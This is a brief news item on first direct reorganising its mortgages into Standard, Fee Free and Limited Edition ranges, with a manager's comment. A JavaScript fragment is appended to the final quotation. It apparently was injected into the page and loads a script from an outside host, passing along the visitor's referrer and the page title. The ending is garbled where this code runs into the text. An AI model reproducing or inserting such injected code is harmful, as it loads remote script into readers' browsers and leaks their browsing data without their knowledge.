first direct has changed the structure of its mortgage offering to make it easier for customers to decide which mortgage is best for them, whilst accommodating the needs of those who prefer not to pay up-front costs.
There are three categories ‘Standard’, ‘Fee Free’ and ‘Limited Edition’.
The ‘Standard’ range offer one standard booking/arrangement fee with rates available at 65% and 75% LTV.
The ‘Fee Free’ range have no arrangement fee, no booking fee and no standard valuation fee, but a slightly higher rate.
The ‘Limited Edition’ range, won’t be available all the time and will be created to address what customers are looking for at the time whether it be a leading rate or higher LTV.
Richard Tolchard, Senior Mortgage Product Manager at first direct commented:
“It’s clear that customers can sometimes find choosing a mortgage difficult. We’ve organised our range to give customers the flexibility to choose between rate, fee and LTV depending on their personal circumstances.
“The ‘Limited Edition’ mortgages allow us the freedom to judge market conditions and offer, for example, market leading rates to those with a lower deposit, whilst the ‘Fee Free’ versions cater for those who want to avoid up-front fees.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;